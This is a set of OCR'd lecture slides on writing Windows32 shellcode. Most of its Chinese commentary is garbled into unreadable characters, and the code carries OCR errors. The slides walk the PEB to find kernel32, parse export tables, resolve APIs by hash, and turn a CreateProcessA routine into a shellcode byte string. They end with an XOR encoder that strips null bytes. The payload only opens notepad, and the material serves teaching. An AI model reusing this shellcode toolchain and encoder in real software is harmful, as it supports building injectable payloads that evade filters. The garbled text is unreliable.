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11.1 A LoadLibraryFGetProcAddressifF B h 7S 451 2 A 19 R 55

EFFT

* 7f Windows & %t 1, R ZE F| F kernel32.dll 7 {J LoadLibrary #0
GetProcAddressiRi 2, L o] IA1E R o) 7588 35 2 1 A9 & 8 2R 20

« AL, /\%7‘E?FT\UEE’JWY?/\IEHEJ?&E'JE@’FEE%‘(E’\J%M, Y
o] |1 4R 5 SLI (T T RE AYshellcode,

« 2 FUDF _Dll.cppE X T — a7k E,



I P B EX SIS SR AES]: UFD_DIl.cpp

#include <windows.h> // 5% : UFD_Dll.cpp
#include <stdio.h>

#tifdef _ cplusplus // If used by C++ code,

extern "C" { // we need to export the C interface
#endif

__declspec(dllexport) int __cdecl myPuts(char * IpszMsg)

{ puts((char *)lpszMsg); return 1;}

__declspec(dllexport) int __cdecl] myPutws(LPWSTR IpszMsg)
{ _putws(lpszMsg); return 1; }

__declspec(dllexport) int __cdecl myAdd(int a, int b)

{ returna+b;}

__declspec(dllexport) float __cdecl myMul(float a, float b)

{ returna*b;}

#tifdef _ cplusplus

}
Hendif
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cl /LD UDF_Dll.cpp

UDF_Dll.cpp
Microsoft (R) Incremental Linker Version 9.00.21022.08

Copyright (C) Microsoft Corporation. All rights reserved.

Jout:UDF_DII.dII
/dll
[/implib:UDF_DIL.lib
UDF_DIl.obj
Creating library UDF_DIl.lib and object UDF_Dll.exp
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TR INEGHE s S8t A2~ UseDll.cpp

#include <windows.h> // #5|#£: UseDll.cpp
#include <stdio.h>
typedef int (__cdecl *MYPROC)(char *);
typedef int (__cdecl *MYPROCW)(LPWSTR);
typedef int (__cdecl *MYADD)(int a, int b);
typedef float (__cdecl *MYMUL)(float a, float b);
void main(void)
{

HINSTANCE hinstLib;

MYPROC myPuts;

MYPROCW myPutws;

MYADD myAdd;

MYMUL myMul;

BOOL fFreeResult, fRunTimelLinkSuccess = FALSE;

char buff[128], szMessage[1024];

int a=5, b=100; float c=5.0, d=100.0;
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hinstLib = LoadLibrary(TEXT("UDF_DII.dII"));

if (hinstLib = NULL)

{
myPuts = (MYPROC) GetProcAddress(hinstLib, "myPuts");
myPutws = (MYPROCW) GetProcAddress(hinstLib, "myPutws");
myAdd = (MYADD) GetProcAddress(hinstLib, "myAdd");
myMul = (MYMUL) GetProcAddress(hinstLib, "myMul");
if (NULL != myPuts)
{ myPuts("\nMessage sent to the user defined DLL function."); }
if (NULL != myPutws)
{ myPutws(L" [Unicode] Message sent to the DLL function.\n"); }
printf("The sum (DLL function) of %d and %d is %d.", a, b, myAdd(a,b));
printf(" The product (DLL function) of %f and %f is %f.", ¢, d, myMul(c,d));
// Free the DLL module.
fFreeResult = FreeLibrary(hinstLib);

}
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2Rz THE FFUseDll.cpp

cl UseDll.cpp

UseDll.exe
Message sent to the user defined DLL function.
[Unicode] Message sent to the user defined DLL function.
The sum (DLL function) of 5 and 100 is 105.
The product (DLL function) of 5.00 and 100.00 is 500.00.

« LTI, BIEEHRERE—FIR)XE £ ADLL, 0] Y18 1d LoadLibrary #I
GetProcAddressiffl H{F oo 7S5k EH E’Jiﬁu H B 7"5(0
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cl /FD /Zi UseDll.cpp

* A windbg il Z UseDll.exe |5 & 18 H
LoadLibraryA;C B8 & 2 58 C w1
oA R BT

* C:\work\ns\ch11\bin>windbg UseDll.exe

bp 0040105b

bp 0040106e

© BEIFUERT P HER
g
.imgscan

8
.imgscan

Windows32 Shellcode

Jwindbg W 1z 4T INEIHE Aol E

3

0:000>g

0:000> .imgscan EI] ;I%'j:j:l,{f-—} LoadLibra ryA y u:t H"j- EI‘] Ij\] ﬁ*ﬁik3jl\

MZ at 00400000, prot 00000002, type 01000000 - size 2f000
Name: UseDll.exe

MZ at 10000000, prot 00000002, type 01000000 - size 13000
Name: UDF_DII.dII

MZ at 7c¢800000, prot 00000002, type 01000000 - size 12b000
Name: KERNEL32.dlI

MZ at 7¢930000, prot 00000002, type 01000000 - size d0000
Name: ntdll.dll

0:000>g

0:000> .imgscan }:_lklj]*}t\,ﬁ [ LoadLibraryA, [Iid:) H’\] A ﬁ*ﬁﬂ&4/|\

MZ at 00400000, prot 00000002, type 01000000 - size 2f000

Name: UseDll.exe

MZ at 10000000, prot 00000002, type 01000000 - size 13000
Name: UDF_DIl.dll

MZ at 7c¢800000, prot 00000002, type 01000000 - size 12b000
Name: KERNEL32.dll
MZ at 7c¢930000, prot 00000002, type 01000000 - size d0000

Name: ntdll.dll
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11.2.1 18 F

%,Ju,n*/j'fk kﬂ&f?ﬁﬂi
o KT BMPEB(HFEIAFLR)ME R IR S A

F-32 7 FYWindows & 2 .

W21 1T HY AYFS:015 M TEB(ZAZ AR 1R,

!ZEI 4.
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FS:0 5[ TEB(Z R IR EHL)

s A BN E T XHEEE 7T N EE!
typedef struct TEB {

BYTE Reserved1[1952];

PVOID Reserved2[412];

PVOID TlIsSlots[64];

BYTE Reserved3[8];

PVOID Reserved4[26];

PVOID ReservedForOle; // Windows 2000 only
PVOID Reserved5[4];

PVOID TlsExpansionSlots;

} TEB, *PTEB;
%M RTZ30n i MM FRTF 7 HHIPEBEYFEST .

Windows32 Shellcode

Find and Replace

HFind In Files |- A% Quick Replace ~

Lock in:

Visual C++ Include Directories

W Include sub-folders

j Find options

j Result options

Eind All
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PEBAZEH

typedef struct PEB {

BYTE Reservedl[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];

PPEB LDR DATA Ldr;//+12=0ch  TEPEBfm#Z0chiyitilit, £R¥F 7 PEB_LDR_DATAZE%t.
PRTL _USER_PROCESS PARAMETERS ProcessParameters;

BYTE Reserved4[104];

PVOID Reserved5[52];
PPS_POST PROCESS INIT _ROUTINE PostProcessinitRoutine;
BYTE Reserved6[128];

PVOID Reserved7[1];

ULONG Sessionld;

} PEB, *PPEB;

Windows32 Shellcode
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PEB_LDR_DATA, LIST ENTRY (B 75 3C4Y)

typedef struct PEB_LDR_DATA {

BYTE Reserved1[8];

PVOID Reserved2[3];

LIST_ENTRY InMemoryOrderModulelist; //+14h
} PEB_LDR_DATA, *PPEB_LDR_DATA:;

typedef struct _LIST_ENTRY

{
struct _LIST_ENTRY *Flink;

struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

Windows32 Shellcode
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PEB LDR_DATA, LIST ENTRY (SE[S5RAYZE74))
win32 (windows 2000/2003/XP)

typedef struct PEB_LDR_DATA {

BYTE Reservedl1[8];

PVOID Reserved2([3];

LIST_ENTRY InMemoryOrderModulelist; // +14h

LIST_ENTRY InInitOrderModulelList; /] +1ch BEA XKD
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct LIST _ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
PVOID ImageBase; //+08h B A XK /A%H
------ ; unsigned long Image_Time;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED _POINTER PRLIST_ENTRY;

Windows32 Shellcode
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k15 kernel32.dIIFREREL: getKernelBase.cpp

unsigned long GetKernel32Addr()

{

unsigned long pAddress;

_asm({
mov eax, fs:30h . PEB base
mov eax, [eax+0ch] ; PEB_LER_DATA
// base of ntdll.dll=====================
mov ebx, [eax+1ch] ; The first element of LIST_ENTRY
// base of kernel32 dll=====================
mov ebx,[ebx] . Next element
mov eax,[ebx+8] . Base address of second module
mov pAddress,eax ; Save it to local variable

I3

printf("Base address of kernel32.dll is %p”, pAddress);
return pAddress;

Windows32 Shellcode
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getKernelBase.cppH1z 745 R

cl getKernelBase.cpp
Jout:getKernelBase.exe
getKernelBase.obj

getKernelBase.exe
Base address of kernel32.dll is 7C800000

* A WinDbgXJgetKernelBase.exe {7 ER BRI, 80 LIS EIHEAY
ﬁéé, WEBR Y XA AR T 1TaY( A .imgscanE F = B I AR
)o
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JWinDbg & &getKernelBase.exei - F2 B I E AR LR

£ zetEernelBase. exe — WinDbg: 6. 12. 0002, 633 I86 I ]
ﬂmﬁ%E@EEEHWWHWMH@mEE@EDEE@HM s

Command B
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 et 1=00000202 -

k% ERROR: Symbol file could not be
ntdll1!DbgBreakPoint:

7c94a3el cc int 3
0:000> . imgscan

MZ at 00400000, prot 00000002, type
MZ at|7¢800000| prot 00000002, type

Name. 2.d11
MZ at |7¢930000) prot 00000002, type

Name: ntdll. dl1

<

found. Defaulted to export symbols for ntdl

01000000 — size T000
01000000 — size 12b000

01000000 — size d0O00O

gt

. nnnes |

= |
—l
In 0, Col O |Syp=s 0:<Local® |Froc 000:e9c [Thrd 000: eal [ASM |OVE [CAES |HUM
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11-1 35EVkernel32.dIIFgEH}

BERRAE N AFH B BR (B 357 FS TR B ) B B 24 i A5 TEB)

FS:0
\

HHTAETEB

>

A 2EFEPEB

TEBE HikE

mov eax, fs:30h

Windows32 Shellcode

PPEB_LDR DATA,;

//0ch

>

PEB & Hidik

mov eax, [eax+0ch]

PEB_LDR DATA

/[1ch

>

mov ebx, [eax+1ch]

/

ntdll.dIl g9 & 4t

ntdll.dll

kernel32.dli

Ho At A i
AN &b
815

mov ebx,[ebx]
mov eax,[ebx+8]

\

kernel32.dIIgy EE3iF
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11.2.2 3KEXWindows APIFYHE AT

. %T?ﬁ%ﬁli}]%‘\ﬁﬂlﬂﬁ’ﬂwmdows APIES B, FEXPEXHA RN FFHRERIHF T
. Mﬁﬂ%ﬁ%ﬂt?ﬁé, N 17 R 1% 77 7 Y =& IMAGE_DOS_HEADER %5 13 (& X 7E
winnt.h ),

typedef struct IMAGE_DOS HEADER{ // DOS .EXE header
WORD e magic; // Magic number 0x00905a4d "Mz."

WORD e cblp; // Bytes on last page of file
WORD e res2[10]; // Reserved words

LONG e_lfanew; // File address of new exe header. +60=3ch
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

Windows32 Shellcode



e I|fanew: 3 HESLIMAGE_NT HEADERS32J{m 2ttt (from base)

typedef struct IMAGE_NT HEADERS

{
DWORD Signature; //"PE" 0x00004550

IMAGE_FILE_HEADER FileHeader; // +4h
IMAGE_OPTIONAL_HEADERS32 OptionalHeader; // +24=18h
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

Windows32 Shellcode
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IMAGE_FILE_ HEADER FileHeader

typedef struct IMAGE_FILE HEADER
{
WORD  Machine; //0x00
WORD  NumberOfSections;  //0x02
DWORD TimeDateStamp;  //0x04
DWORD PointerToSymbolTable; //0x08
DWORD NumberOfSymbols; //0x0c
WORD SizeOfOptionalHeader; //0x10
WORD  Characteristics; //0x12
} IMAGE_FILE_ HEADER, *PIMAGE_FILE HEADER;
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IMAGE_OPTIONAL_HEADER32 OptionalHeader

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
typedef struct IMAGE_OPTIONAL _HEADER

DWORD NumberOfRvaAndSizes; //+0x5c

IMAGE_DATA_DIRECTORY
DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; //+0x60

} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

« T] & 3k OptionalHeader {F #% 0x60 FF 45 A M HE 7 7 7 5| i < H X 8 4A
DataDirectory, EXIAH16JT%=.

Windows32 Shellcode
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IMAGE_DATA_DIRECTORY DataDirectory

typedef struct IMAGE_DATA_ DIRECTORY

{
DWORD VirtualAddress; //+0x00 RVA offset from base

DWORD Size;  //+0x04 the size in bytes +0x08
} IMAGE_DATA DIRECTORY, *PIMAGE_DATA DIRECTORY;

. —ﬂﬁ’l‘%?RDataDirectory[]%/z\ﬁ 6N TTRENEMEA. BRI
=7 73X i Export Directory 5Import Directory, VirtualAddress
}5m IMAGE _EXPORT DIRECTORY /3%t

=3 F MIMAGE_NT_HEADERS32{&#%0x18+0x60=0x78T] B %15
2| 5| i 3 B Ff54t DataDirectory.,

IIIn

Windows32 Shellcode 24



VirtualAddress = IMAGE_EXPORT_DIRECTORY

typedef struct IMAGE_EXPORT_DIRECTORY

DWORD Name; //+0x0c

DWORD Base; //+0x10

DWORD NumberOfFunctions; //+0x14

DWORD NumberOfNames; //+0x18

DWORD AddressOfFunctions; //+0x1lc RVA from base

DWORD AddressOfNames; // +0x20 RVA from base

DWORD AddressOfNameOrdinals; // RVA from base +0x24
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

* {RTZ0x207F 45 RO I (R A7 R BN R AR (BB N F T BT 5T -



3R EY kernel32.dll FBAPIBN R T2

.»
(I ELHE ) 64°77) IMAGE_DOS HEADER 45 # I¥) IMAGE_DATA DIRECTORY
IMAGE_DOS_HEADER e_Ifanew% R (fRF=0x3c) 25 ¥ 1 VirtualAddress Bt %5
< H T % 2R B AE X RS 5
MS-DOS B IR Sizezs T R BIR D
SRR AR AL 7 Y
IMAGE_NT_HEADERS IMAGE_FILE_HEADERZ%E: 1 [t IMAGE_EXPORT DIRECTORY

Signature: 4%

FileHeader: 2075

SizeOfOptionalHeader % = (%% Lk 0x20°
=0x10)485€ [ ptionalHeader X ,;\d;f/rjessO?Nf‘;nes),( 25 t? Tﬁ%ﬁi

o M PR B

OptionalHeader:
AR

IMAGE_OPTIONAL_HEADERZ; 14 [1 )R 0x5C A5 HERKIEH ; R

Ox60FF 4R N5 R B FigEHHRaGHibtk: DataDirectory[];
TP AN 76 & 20 3% N Export Directory 5 Import Directory
IMAGE_NT_ HEADERS{R#0x78¥DataDirectory 2 a5 bk




GetKernel32FunAddr.cpp
kernel32.dl4ay i BV S8 — 1 eR 2524 K it

__asm{
mov edx, fs:30h : PEB base
mov edx, [edx+Och] ; PEB_LER_DATA
// base of ntdll.dll=====================
mov edx, [edx+1ch] ; first of InInitOrderModulelList
// base of kernel32.dll=====================
mov edx,[edx] ; Next element
mov eax, [edx+8] ; Base address of second module
mov pBaseOfKernel32, eax ; Save to local variable

mov ebx, eax ; Base address to ebx



mov edx,[ebx+3ch] ;e _lfanew
mov edx,[edx+ebx+78h] ; DataDirectory[0]

add edx,ebx : RVA + base

mov esi,edx ; Save first DataDirectory to esi
mov edx,[esi+1ch] ; AddressOfFunctions RVA
add edx,ebx : RVA + base

mov pAddressOfFunctions,edx ; Save to local variable
mov edx,[esi+20h] : AddressOfNames RVA

add edx,ebx : RVA + base

mov pAddressOfNames,edx ; Save it to local variable

} printf("FunctionAddress=0x%p\tFunctionName=%s\n",
(pBaseOfKernel32 + *( (unsigned long *) (pAddressOfFunctions + 0) ) ),
(char *)(pBaseOfKernel32 + *( (unsigned long *) (pAddressOfNames + 0) ) )) ;



GetKernel32FunAddr.cppfyia 1745 &=

cl GetKernel32FuncAddr.cpp
Jout:GetKernel32FuncAddr.exe

GetKernel32FuncAddr.exe
Name of Module:KERNEL32.dll
Base of Moudle=7C800000

First Function:

Address=0x7C81F326
Name=ActivateActCtx

TES

Windows32 Shellcode
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JWindbgl&uEwindows APIp& 2 3Ry 1TE A 14

7S EE R EE YA ( base )
windbg getKernelBase.exe 710 IMAGE_DOS_HEADER%ZE#Y

0:000> .imgscan IMAGE_DOS_HEADERZ5 44 19 4R#%0x3c
MZ at 7c800000; prot 00000002, type 01000000 - size 126000 (abiea i SUAANALCIULEEE
Name: KERNEL32.dll

0:000> dd KERNEL32.dll + Ox IMAGE_NT_HEADERS324E# By A2 14 Hh Hit
7¢80003¢c 000000e8 OebalfOe cd09b400 4c01b8

0:000> dd KERNEL32.dll + Oxe8
7c8000e8 00004550 0004014c 45d72003 00000000

0:000> dd (KERNEL32.dIl + Oxe8) + 0x78
e 7¢800160 00080ac4 0000705c 00087b20 00000028

_— AN

Export DirectoryfyFC if b 1t Import Directory i 45 H 31

IMAGE_DATA_DIRECTORY[|£{4H A2 44 b 41
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0:000> dd (KERNEL32.dll + 0x00080ac4) Export Directory gy c 45 itk
7¢880ac4 00000000 45d6a08b 00000000 00083102

0:000> dd (KERNEL32.dIl + 0x00080ac4) + 0x0c  Rhf& & FREIRAV H i
7¢880ad0 00083102 00000001 000003cf 000003cf

0:000> da (KERNEL32.dIl +0x00083102) 1% 2 R
7¢883102 "KERNEL32.dlI"

0:000> dd (KERNEL32.dll + 0x00080ac4) + 0x14 DWORD NumberOfFunctions
7¢880ad8 000003cf 000003cf 00080aec 00081a28

0:000> ? 0x000003cf
Evaluate expression: 975 = 000003cf

0:000> dd (KERNEL32.dll + 0x00080ac4) + Ox1c AddressOfFunctions; // RVA
7¢880ae0 00080aec 00081a28 00082964 0001326

Windows32 Shellcode 31



0:000> dd (KERNEL32.dll + 0x00080aec)
7¢880aec 0001f326 000117a9 0001a59f 00071a75
7¢880afc 00071a37 0005ad5¢ 0005ac75 00037e82

0:000> ? (KERNEL32.dIl + 0001f326)
Evaluate expression: 2088891174 = 7¢81f326

0:000> ? (KERNEL32.dll + 0x000117a9)
Evaluate expression: 2088834985 = 7¢8117a9

0:000> dd (KERNEL32.dll + 0x00080ac4) + 0x20
7c880aed4 00081a28 00082964 00011326 000117a9

0:000> dd (KERNEL32.dll + 00081a28)
7¢881a28 0008310f 0008311e 00083127 00083130

0:000> da (KERNEL32.dII +0008310f)
7c88310f "ActivateActCtx"

0:000> da (KERNEL32.dll + 0008311e)
7c88311e "AddAtomA"

0:000> da (KERNEL32.dll + 00083127)
7¢883127 "AddAtomW"

Windows32 Shellcode
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AddressOfNames
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aJ |4
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AT D ShellcodeBy4<

d

AR 78 BB E A 1

B,
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h=((h<<25) | (h>7))+c
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1575 (hash) & 7k

hash R ZXHICHABIN T :

unsigned long GetHash(char * c)

{
unsigned long h=0;

while(*c)

{

h=((h<<25) | (h>>7))+ *(c++);

}

return h;

C %% 18 = 5L I AY hash & 7%

Dl findFuncAddr.cpp

flndFuncAddr(un5|gned long IHash)H

A HJhash_ proc/E?ﬁMfﬁ

VS



REZ EGE{E: findFuncAddr.cpp

o A5 FWindows2003 SP2 2 4 KERNEL32.dII 1 2R 4> B £ & HhashBl £ 40 T :
KERNEL32.dll: Base=0x7C800000; The number of functions is 976

0052: Addr=0x7C82C1BA hash=0xff0d6657 name=CloseHandle
0102 Addr=0x7C8023B7 hash=0x6ba6bbcc9 name=CreateProcessA
0185 Addr=0x7C813039 hash=0x4fd18963 name=ExitProcess
0416 Addr=0x7C82BFC1 hash=0xbbafdf85 name=GetProcAddress
0594 Addr=0x7C801E60 hash=0x0c917432 name=LoadLibraryA

« MR K I Ahash{BE 525 Eahash{BE—EUU R BR# R 7 R 8, ic Tz ek &ttt
o 3AEXWindows APl 3By 52 ZZAALS I findFuncAddr.cpp



11.3 Zg5Win32 shellcode

« B 5shellcode BRI UTINTE:
(1)%m 5 &/ E R BE SEA FT B THEERICIE 7,
) e ITRBEINRICHEIED, FALCRIES SIMHERAIINEE,
(3)IEEX K 1ERY, EhRkshellcode, FHCERIGIE.

* BAN A B s ZERyshellcode 415, 157 BAWin323K15% N BYshellcode
"E %5,




11.3.1 /E— BT ERNCEF

* Windows % % /P fH CreateProcess¥ T FF— 1M HTEVHTE, BIEES1E

E 7 UNICODE T &

%% 1% 2% £ F 1%z & £ B Unicode fRk ZX

(CreateProcessW)z{ ANSI H&ZIK(CreatePrdcessA)o

* AT

Ao

2 (do32Command.cpp){&F

]CreateProcessA B 5 — /N HTBY 3



do32Command.cpp

void doCommandLine(char * szCmdLine)
{
BOOL ret;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
ZeroMemory( &pi, sizeof(pi) );
si.cb = sizeof(si);
CreateProcessA( NULL, szCmdLine, NULL, NULL, FALSE,
0, NULL, NULL, &si, &pi );
ExitProcess(ret);
}
void main(int argc, char* argv|])
{ doCommandLine("notepad.exe");}



A1z 7do32Command.cpp

cl do32Command.cpp
/out:do32Command.exe

do32Command.exe

. ¥ FTnotepad. exe MTF T — A BT H9IE EAB A,

RI=TEY

IHE REE BR0 ZEW WHW
| =1

Windows32 Shellcode
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11.3.2 B miE

= S EFRITNEE

e S FrdoCommandLine(char * szCmdLine), FF
FNINRE
(1) ¥R RN T E,

L %R 7E = SR

* M #7CreateProcessAZ BIHYSFIBBI KRR ITRE 7 —RAF, DURTFE

25 2 si(STARTUPINFO) %[ pi(PROCESS INFORMATION) |
44h,

FREsi.cbM{EN

o FgFsizeof(si)=44h, sizeof(pi)=10h, FHsub esp,54hw o] L ZE #% F FFREIX

N1F;, Fmovig<$25si.cbllfi{E.
(2) A E—T 7753 B F R FCreateProcessARy I I ;
(3) Fpushi5< K CreateProcessARY S 5018 FeHE N R

(4) FHcall35§5 18 FCreateProcessA: |} CreateProcessARY A 1F b 31 F7call

« MH & By A8 Dl 2 &£ do32CommandAsm.cpp
NOP(0x90)#5 % AT E A I AR 5 E R

8 A 4

7N



A RIE= LUCGE= A IHEE

e B1FMIzfTdo32CommandAsm.cpp, ZERIIT:
cl /Fd /Zi do32CommandAsm.cpp
/out:do32CommandAsm.exe
do32CommandAsm.obj
do32CommandAsm.exe

* 3= 47 do32CommandAsm.exe F B & 7T — I H W ICE A ET O
(notepad.exe), XtitBH T L4 ALt BE LI R FFRITHRE

Windows32 Shellcode 41



11.3.3 Zg Eshellcode

-

(& EA el

jE|

* ¥do32CommandAsm.exe [ 1% MU ABIR B H SR H E M E FFT 5
b 5:48%] T shellcode,

« NRAALLLIRE/]N, Fdumpbin.exe KOC 28 ol #1147 HFRIMRS, 12
B BR E Y T2 MRS .

dumpbin do32CommandAsm.exe /disasm /section:.text > dump.txt

s W TR, AP REGERIEDIZRIFITEI L K
(GetShellcode.cpp) , SEIMIZINBERIACADLN T :

Windows32 Shellcode



PrintStrCode: Za XA A F 155 F
void PrintStrCode(unsigned char *|pBuff, int buffsize)
{ //1pBuff: XEBAYEEET; buffsize: K/E

inti,j; char *p; char msg[4];
printf("/* %d=0x%x bytes */\n",buffsize,buffsize);
for(i=0;i<buffsize;i++)
{
if((i%16)==0)
if(i!1=0) printf("\"\n\"");
else printf("\"");
printf("\\x%.2x",|pBuff[i]&0xff);
}
printf("\";\n");

Windows32 Shellcode

1

GetShellcode.cpp

43



GetProcOpcode: GetShellcode.cpp
$kfGshellcode AR IRV IR A X K &

int GetProcOpcode(unsigned char * funPtr, unsigned char * Opcode_ buff)
// in: funPtr; out: "return value=Ilength of Opcode_buff" and Opcode_buff
{

char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";

unsigned char Enc_key, *pSc_addr;

inti,sh_len;

pSc_addr = (unsigned char *)funPtr;

for (i=0;i<MAX_OPCODE_LEN;++i ) {

if(memcmp(pSc_addr+i,fnbgn_str, 8)==0) break;
} //3%Z (shellcode)X A5 A9 & Hudit




GetShellcode.cpp
GetProcOpcode

pSc_addr+=(i+8); // start of the ShellCode

for (i=0;i<MAX_OPCODE_LEN;++i) {
if(memcmp(pSc_addr+i,fnend_str, 8)==0) break;

} /13 E (shellcode) 455 AY < btk

sh_len=i; // length of the ShellCode

memcpy(Opcode_buff, pSc_addr, sh_len);

return sh_len;

M doCommandLineAsm gy #iiE 5% A\ 24X, 1/ F GetProcOpcode i& £X U 7] I 15
B T HFREEKE, FTEmE AR, FZRshellcode,



KB IRIGH —H#FAE ( long GetShellcode() )

GetShellcode.cpp

° ;ZD
/G ﬁaﬂk
long IMyAddress;
__asm
{
jmp near next_call;
proc001:
ret;
next_call:
call proc001;
mov  eax,[esp-4]; /I3 FiX K5 S a9Hb L
mov  IMyAddress,eax;
} /I IMyAddress=$5<-mov eax,[esp-4]; a9ttt
return IMyAddress;

* RTBIRIEH 7 H {8 (shellcode)

IPtr = doCommandLineAsm() ;
opcode_len=GetProcOpcode((unsigned char *)IPtr, opcode_Buff);
PrintStrCode(opcode_Buff, opcode_len);

return O;

Windows32 Shellcode

1 /& fif§ %% 15 doCommandLineAsm g4 #C

cl GetShellcode.cpp

GetShellcode.exe

R4gshellcodefy — i HIRIL(BEFT
[* 267=0x10b bytes */

"\x33\xc0\x50\x68\x65\x78\x65\x00\x68\x 70\x6 1\x64\x2e\x68\x6e\x6 "

"\X74\x65\x8b\xfc\x68\x57\x66\x0d\xfAAx68\x63\x89\xd 1\x4f\x68\xc9"

"\xbc\xa6\x6b\x5a\xe8\x56\x00\x00\x00\x8b\xfO\x5a\xe8\x4e\x00\x00"
"\x00\x8h\xd8\xe8\x05\x00\x00\x00\xe9\xce\x00\x00\x00\x51\x52\x56"

"\X57\x55\x8h\xec\x8b\xd7\x83\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0"

"\x89\x04\x8f\xe2\xfb\xc6\x47\x10\x44\x8d\x47\x10\x57\x50\x6a\x00"

"\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x52\x6a\x00\xfAAxd6\x83"
"\xf8\x00\x74\x03\x50\xffixd3\x8b\xe5\x5d\x5f\x5e\x5a\x59\xc3\x56"

"\x53\x51\x52\xe8\x11\x00\x00\x00\x83\xf8\x00\x 7e\x07\x8b\xd8\xe8"
"\x17\x00\x00\x00\x5a\x59\x5h\x5e\xc3\x64\xa1\x30\x00\x00\x00\x8b"
"\x40\x0c\x8b\x40\x1c\x8b\x00\x8b\x40\x08\xc3\x8b\x43\x3c\x8b\x44"
"\x18\x78\x03\xc3\x8b\xf0\x8b\x4e\x18\x8h\x46\x20\x03\xc3\x8b\x44"

"\x88\xfc\x03\xc3\x57\x8b\xf8\xe8\x17\x00\x00\x00\x5f\x3b\xc2\x 74"
"\x06\xe2\xe6\x33\xc0\xeb\x0b\x8b\x46\x1c\x03\xc3\x8b\x44\x88\xfc"

"\X03\xc3\xc3\x53\x51\x52\x57\x33\xd2\x0f\xbe\x07\x83\xf8\x00\x 74"
"\x13\x8b\xda\x8b\xca\xc1\xe3\x19\xc1\xe9\x07\x0b\xd9\x8b\xd3\x03"

"\xd0\x47\xeb\xe5\x8b\xc2\x5f\x5a\x59\x5b\xc3";

46



GetShellcode.cpp

BRINE M X B IR, I UERiGshellcode Ay 1IE A4

void doShellcode(void * code) i 47doShellcode(shellcode):
{ IPtr = doCommandLineAsm() :
__asm opcode_len=GetProcOpcode((unsigned char

*)IPtr, opcode_Buff);

‘:; _ | PrintStrCode(opcode_Buff, opcode_len);
egin_proc: doShellcode(opcode Buff);

call vul function; return O;

jmp  code; cl GetShellcode.cpp

' d :
Jmp  end_proc GetShellcode.exe

| function:
vu - unetion % #1doShellcode B&h 7 — N AYiC S
ret; zleg [ (notepad. exe) & 1t % shellcode
end_proc:; SR,
} & &

}

47
Windows32 Shellcode



11.3

4 FEshellcode T YT £

LFFN\O!

juju
\ NG
OH-
ANl

47 H
llﬂ- /—\

SR ENEPEX,

ZNE A

lﬂﬁﬁim, w AR IE 1’E+fjbshellcodeé’]?ﬁ7d% ﬁﬁtf‘ﬁ?ﬂzJ
X J5 XFshellcode B fr & = '32571'?'1

BY HY 7 (éﬁﬂ ™),

%‘l’v’ﬂﬁ ‘2?5'%1? SN

*

N2 R D A SR G AL

A

F11.3.3F fshellcode P 1 FEFFF B £ R/ EF'\0',

It ZE It shellcode E

JCiE1BId strepy
EHRmL, FH

PR RO,
T HIE I FISCI shellcodeAY ZR AL .




GetShellcode.cpp
KEBATRIMNFT (wEFD)

unsigned char findXorByte(unsigned char Buff[], int buf_len)
{
unsigned char xorByte=0; int i,j,k;
for(i=0xff; i>0; i--)
{
k=0;
for(j=0;j<buf_len;j++)
{
if((Buff[j]*i)==0)
{ k++; break; }
}
if(k==0)//find the xor byte
{ xorByte=i; break; }
}

return xorByte;




GetShellcode.cpp
A S e EXtshellcodet {74714

int EncOpcode(unsigned char * Opcode_buff, int opcode_len, unsigned char xorByte)
// in: Opcode_buff,opcode_len,xorByte; out: encoded Opcode_buff
{
int i;
if(xorByte==0){
puts("The xorByte cannot be zero."); return 0;
}
for(i=0;i<opcode_len;i++){
Opcode_ buff[i]=Opcode_buff[i]*xorByte;
}
Opcode_ buff[opcode_len]=0;
return opcode_len;



AL 5 Ashellcode

Il 3% Z XOR=ZF35 ¥ 4R fdshellcode
Enc_key = findXorByte(opcode Buff,
opcode_len);

printf("\tXorByte=0x%.2x\n", Enc_key);

encode_len=EncOpcode(opcode_Buff,
opcode_len, Enc_key);

PrintStrCode(opcode_Buff, opcode_len);

If(encode_len==strlen((char *)opcode_Buff)){
puts("\tSuccess: encode is OK\n");

}else{ puts("\tFail: encode is OK\n"); return 0;}

return O

cl GetShellcode.cpp

GetShellcode.exe

XorByte=0xfe
[* 267=0x10b bytes */

Windows32 Shellcode

GetShellcode.cpp

"\xcd\x3e\xae\x96\x9b\x86\x9b\xfe\x96\x8e\x9f\x9a\xd0\x96\x90\x91"
"\x8a\x9b\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d\x 7 7\x2f\xb1\x96\x37"
"\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe\x 75\x0e\xa4\x 16\xb0\xfe\xfe"
"\xfe\x75\x26\x 16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe\xfe\xaf\xac\xa8"
"\xa9\xab\x75\x12\x75\x29\x 7d\x12\xaa\x75\x02\x94\xea\xa7\xcd\x3e"
"\X77\xfa\x71\x1c\x05\x38\xb9\xee\xba\x 73\xb9\xee\xa9\xae\x94\xfe"
"\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94\xfe\x01\x28\x7d"
"\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xal\xa0\xa4\xa7\x3d\xa8"
"\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80\xfI\x75\x26\x 16"
"\xe9\xfe\xfe\xfe\xad\xa7\xa5\xa0\x3d\x9a\x5f\xce\xfe\xfe\xfe\x 75"
